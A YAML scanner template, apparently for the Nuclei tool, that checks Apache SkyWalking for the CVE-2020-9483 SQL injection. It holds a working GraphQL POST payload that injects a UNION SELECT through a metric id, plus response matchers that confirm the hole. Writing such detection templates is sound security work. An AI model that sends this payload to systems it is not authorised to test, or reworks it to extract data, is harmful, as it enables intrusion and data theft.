53 lines
1.6 KiB
YAML
53 lines
1.6 KiB
YAML
id: CVE-2020-9483
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info:
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name: SkyWalking SQLI
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author: pikpikcu
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severity: high
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description: |
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When using H2/MySQL/TiDB as Apache SkyWalking storage and a metadata query through GraphQL protocol, there is a SQL injection vulnerability which allows access to unexpected data. Apache SkyWalking 6.0.0 to 6.6.0, 7.0.0 H2/MySQL/TiDB storage implementations don't use the appropriate way to set SQL parameters.
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reference:
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- https://github.com/apache/skywalking/pull/4639
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- https://nvd.nist.gov/vuln/detail/CVE-2020-9483
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2020-9483
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cwe-id: CWE-89
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epss-score: 0.06219
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cpe: cpe:2.3:a:apache:skywalking:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: apache
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product: skywalking
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tags: cve,cve2020,sqli,skywalking
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http:
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- method: POST
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path:
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- "{{BaseURL}}/graphql"
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body: |
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{"query":"query SQLi($d: Duration!){globalP99:getLinearIntValues(metric: {name:\"all_p99\",id:\"') UNION SELECT 1,CONCAT('~','9999999999','~')-- \",}, duration: $d){values{value}}}","variables":{"d":{"start":"2021-11-11","end":"2021-11-12","step":"DAY"}}}
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headers:
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Content-Type: application/json
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- "Content-Type: application/json"
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- type: word
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part: body
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words:
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- "UNION SELECT 1,CONCAT('~','9999999999','~')--"
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- 'Exception while fetching data'
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condition: and
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- type: status
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status:
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- 200
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